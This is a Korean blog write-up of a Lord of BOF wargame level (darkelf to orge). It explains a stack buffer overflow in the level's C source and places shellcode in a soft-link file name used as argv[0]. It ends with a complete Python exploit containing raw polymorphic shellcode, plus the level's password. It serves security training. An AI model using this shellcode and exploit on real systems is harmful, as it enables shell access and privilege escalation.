ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Lord of BOF - Challenge [7번] Darkelf -> Orge
    WARGAME/LORD OF BOF 2018. 7. 4. 16:13

    [Summary]

    1. 44행의 취약한 strcpy 함수를 이용하여 40 바이트의 buffer 배열에 40바이트 이상의 값을 입력함으로써 EIP 레지스터를 덮어씌울 수 있다.

    2. argv[0] 위치에 쉘코드를 위치 시킬 수 있다.

    3. buffer 배열에 dummy(44) 입력시킨 후 EIP 레지스터를 argv[0] 의 주소로 변조하여 ShellCode를 실행시킨다.

    4. 프로그램 실행 권한의 쉘을 획득하여 flag를 획득한다.

    [Sourcecode]

    /*
            The Lord of the BOF : The Fellowship of the BOF
            - orge
            - check argv[0]
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    
    extern char **environ;
    
    main(int argc, char *argv[])
    {
            char buffer[40];
            int i;
    
            if(argc < 2){
                    printf("argv error\n");
                    exit(0);
            }
    
            // here is changed!
            if(strlen(argv[0]) != 77){
                    printf("argv[0] error\n");
                    exit(0);
            }
    
            // egghunter
            for(i=0; environ[i]; i++)
                    memset(environ[i], 0, strlen(environ[i]));
    
            if(argv[1][47] != '\xbf')
            {
                    printf("stack is still your friend.\n");
                    exit(0);
            }
    
            // check the length of argument
            if(strlen(argv[1]) > 48){
                    printf("argument is too long!\n");
                    exit(0);
            }
    
            strcpy(buffer, argv[1]);
            printf("%s\n", buffer);
    
            // buffer hunter
            memset(buffer, 0, 40);
    }
    

    [Analysis]

    소스코드를 보게 되면 44행에서 버퍼의 길이제한을 두지 않아 bof 취약점이 발생한다. 그러나, 이번 문제는 저번 문제(egghunter, bufferhunter)에 이어 argv[0] 의 값이 77이 아니면 프로그램을 강제 종료 시키는 루틴이 추가되었다.


    argv[0] 의 값을 변경하기 위해서는 프로그램의 이름을 변경하거나 링크를 시키어 변경할 수 있다. 필자는 소프트 링크를 사용하여 파일 명을 변경하였다.


    파일 명을 변경할 수 있고 파일 명이 메모리에 올라간다는 것은 파일명에 쉘코드를 위치 시킬수도 있다는 말이다. 즉, 소프트 링크를 통해 파일명을 지을 때 일반적인 파일명이 아닌 쉘코드로 파일 명을 생성할 수 있다.


    먼저 bash2 를 실행 시키고 바이너리를 실행 시켜본다..

    소스코드 22행의 루틴에 따라 에러 메시지를 보여주며 종료된다.


    이를 우회하기 위해 파일 명이 "A" 문자열 75개로 한 소프트 링크 파일을 생성한다.

    정상실행 되지만 eip 값이 stack 영역이 아니라서 종료된다.

    (Length : './' + 'A'*75  => 77개 )


    이제 이를 우회하기 위해 Core 파일을 생성하여 argv[0] 의 정확한 주소 값을 찾을 것이다.


    gdb 명령 x/30s $esp 를 통해 argv[0] 의 주소를 찾는다.

    0xbffffb53 주소가 argv[0] 의 주소이다. 하지만 './' 가 붙어있기 때문에 필자는 이 주소에 +2를 더한 0xbffffb55 를 저장하였다.


    ※ 참고로 이번문제는 Shellcode 를 사용할 때 약간의 주의가 필요하다. Shellcode 를 소프트링크 파일 명으로 쓰일때 \x2F('/') 가 있으면 안된다.

    왜냐하면 리눅스 시스템에서 '/' 는 디렉토리를 지칭하는 예약어로 쓰이기 때문에 파일 명으로 쓰일 수 없다. 그렇기 때문에 필자는 ShellCode 에 \x2f 가 없는 Polymorphic Shellcode 를 사용할 것이다.


    [Exploit]

    # -*- coding: utf-8 -*-
    import struct
    import os
    
    p = lambda x : struct.pack("<I", x)
    
    argv0           = 0xbffffb55
    shellcode       = "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"
    
    link    = shellcode + "\x90"*(75-len(shellcode))
    os.system('ln -s orge ' + link)
    
    payload = "A"*44 + p(argv0)
    os.system('./' + link + ' ' + payload)
    
    os.system('rm ' + link)
    

    orge : timewalker


    [References]


Designed by Tistory.